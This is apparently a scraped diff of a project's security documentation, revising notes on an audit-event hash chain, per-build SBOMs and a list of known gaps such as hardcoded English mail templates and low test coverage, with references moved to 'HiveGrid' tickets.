- **Audit chain** — every privileged mutation emits an AuditEvent; hash-chain verifier planned in [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) is the canonical forensics source referenced by [`incident-response.md`](./incident-response.md).
|
||||
- **Audit chain** — every privileged mutation emits an AuditEvent; the planned HiveGrid hash-chain verifier is the canonical forensics source referenced by [`incident-response.md`](./incident-response.md) once it lands.
|
||||
- **SBOM** — generated per build; see [`sbom.md`](./sbom.md).
|
||||
|
||||
## Gaps tracked in the roadmap
|
||||
|
||||
The following items are knowingly incomplete and tracked under the improvement plan:
|
||||
The following items are knowingly incomplete and should be tracked through HiveGrid tickets:
|
||||
|
||||
- **B4** — Mail templates currently hardcode English subjects/bodies (`docs/improvement-plan` 04-i18n).
|
||||
- **B4** — Mail templates currently hardcode English subjects/bodies.
|
||||
- **B5** — `Response.json("Unauthorized", …)` style stringly errors still exist in some loaders.
|
||||
- **C1 / C2** — Handler coverage below target (API < 70 %, worker < 50 %).
|
||||
- **C3** — Cross-tenant runtime integration test pending.
|
||||
|
||||
Reference in new issue
Block a user